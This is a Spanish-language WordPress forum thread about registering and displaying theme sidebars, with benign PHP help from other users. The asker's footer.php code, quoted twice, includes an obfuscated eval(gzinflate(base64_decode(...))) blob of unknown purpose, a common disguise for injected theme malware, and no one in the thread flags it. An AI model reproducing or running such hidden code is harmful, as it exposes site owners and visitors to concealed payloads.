¿Cómo agregar sidebar a un tema de WordPress?

  • Autor Autor djfumon
  • Fecha de inicio Fecha de inicio
djfumon

djfumon

Zeta
Verificación en dos pasos activada
Verificado por Whatsapp
Hola buenas,

pues estoy intentando agregar a mi theme un sidebar, pero tengo un problema al agregar este codigo a el archivo functions.php, cuando entro en Widgets me aparece No Sidebars Defined, se supone que tendraiq que aparecer ya? o me falta algo?.


PHP:
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '<div class="sidebaritem">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));

if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Footer',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>

Saludos y gracias.
 
Claro, pero te falta definir donde quieres que aparezca esas Sidebar en tu plantilla.

Por ejemplo el sidebar del footer, incluyelo en footer.php y ya podrás incluir widgets.
 
Claro, pero te falta definir donde quieres que aparezca esas Sidebar en tu plantilla.

Por ejemplo el sidebar del footer, incluyelo en footer.php y ya podrás incluir widgets.

Tengo puesto esto en el footer.php, pero aun sigue saliendo lo mismo.

PHP:
<?php eval(stripslashes(gzinflate(base64_decode("fZHBboMwEETvkfIPKw5Negn3hsIlantrPwApss2CLRkvglURf9/FjVzUVOWCYR4zy2xVFnnjPsv9rpAbGK+m6bnODAXGwJqYqa+zBN0w1wjTEjGOIu53kK4HQ8NyhkKBHbEVqqgGOwAaS9AhX2lgR+FYHyz1WB8ez1CVeZ0BO/aYcO2pc6El4YJK3DrHP3KRqxIuOLkuYAN62QxhmYenPG9HxE4+mE40dtvUFxHgdVUk4+chOroAhrxXmka1zg6zY3vvrXsK3oWbv1lbS/YfXi0Qbd8jk6L+FmKsCs19yDzPJ40TW/ROipb6U9z2d96SnJJ+v1ozZJlprXKO1c7D9Xuvx9jpimhqlniw3HvZwBc="))));
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar("Footer") ) : 
endif;
 ?>
 
Te falta colocar el código de tu sidebar en tu tema.

Por ejemplo, algo como esto:

PHP:
<div class="sidebar">
          <?php if ( !function_exists('dynamic_sidebar')
            || !dynamic_sidebar('Sidebar') ) : ?>
          <?php endif; ?>
        </div><!-- sidebar -->
 
Te falta colocar el código de tu sidebar en tu tema.

Por ejemplo, algo como esto:

PHP:
<div class="sidebar">
          <?php if ( !function_exists('dynamic_sidebar')
            || !dynamic_sidebar('Sidebar') ) : ?>
          <?php endif; ?>
        </div><!-- sidebar -->

Bueno pues aun no he logrado hacerlo funcionar, tengo en el archivo functions.php esto,

PHP:
if ( function_exists('register_sidebar') )
register_sidebar();

Luego en el archivo donde quiero que aparezca tengo esto,

PHP:
<?php if ( !function_exists('dynamic_sidebar')|| !dynamic_sidebar() ) : ?>
 <!-- codigo sidebar estático-->
<?php endif; ?>

Que me falta?

Saludos.
 
Te falta el nombre la sidebar que registras. Observa en tu código defines dos áreas de widgets, una se llama 'Sidebar' y la otra se llama 'Footer'. En mi código, yo llamo a 'Sidebar', en tu código no llamas a ninguna.
 
Te falta el nombre la sidebar que registras. Observa en tu código defines dos áreas de widgets, una se llama 'Sidebar' y la otra se llama 'Footer'. En mi código, yo llamo a 'Sidebar', en tu código no llamas a ninguna.

Bueno tampoco funciona,

Archivo donde quiero que salga la sidebar,
PHP:
<div class="sidebar">
          <?php if ( !function_exists('dynamic_sidebar')
            || !dynamic_sidebar('Sidebar') ) : ?>
          <?php endif; ?>
        </div><!-- sidebar -->

Archivo functions.php,

PHP:
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '<div class="sidebaritem">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));

if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Footer',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h3>',
'after_title' => '</h3>',
));

He probado llamar a las 2 que tengo registradas, Sidebar y Footer, pero no funciona no entiendo.

Gracias.

Tambien hace poco me crearon una sidebar pero no consiguio que funcionara bien, y cuando le doy a widgets me aparece la que me creo el pero no la que intento crear yo ahora.

Como puedo decodificar esto, alomejor el problema viene de ahi,

PHP:
eval(stripslashes(gzinflate(base64_decode("fZHBboMwEETvkfIPKw5Negn3hsIlantrPwApss2CLRkvglURf9/FjVzUVOWCYR4zy2xVFnnjPsv9rpAbGK+m6bnODAXGwJqYqa+zBN0w1wjTEjGOIu53kK4HQ8NyhkKBHbEVqqgGOwAaS9AhX2lgR+FYHyz1WB8ez1CVeZ0BO/aYcO2pc6El4YJK3DrHP3KRqxIuOLkuYAN62QxhmYenPG9HxE4+mE40dtvUFxHgdVUk4+chOroAhrxXmka1zg6zY3vvrXsK3oWbv1lbS/YfXi0Qbd8jk6L+FmKsCs19yDzPJ40TW/ROipb6U9z2d96SnJJ+v1ozZJlprXKO1c7D9Xuvx9jpimhqlniw3HvZwBc="))));

nadie puede ayudarme a hacerlo funcionar?
saludos.
 
Atrás
Arriba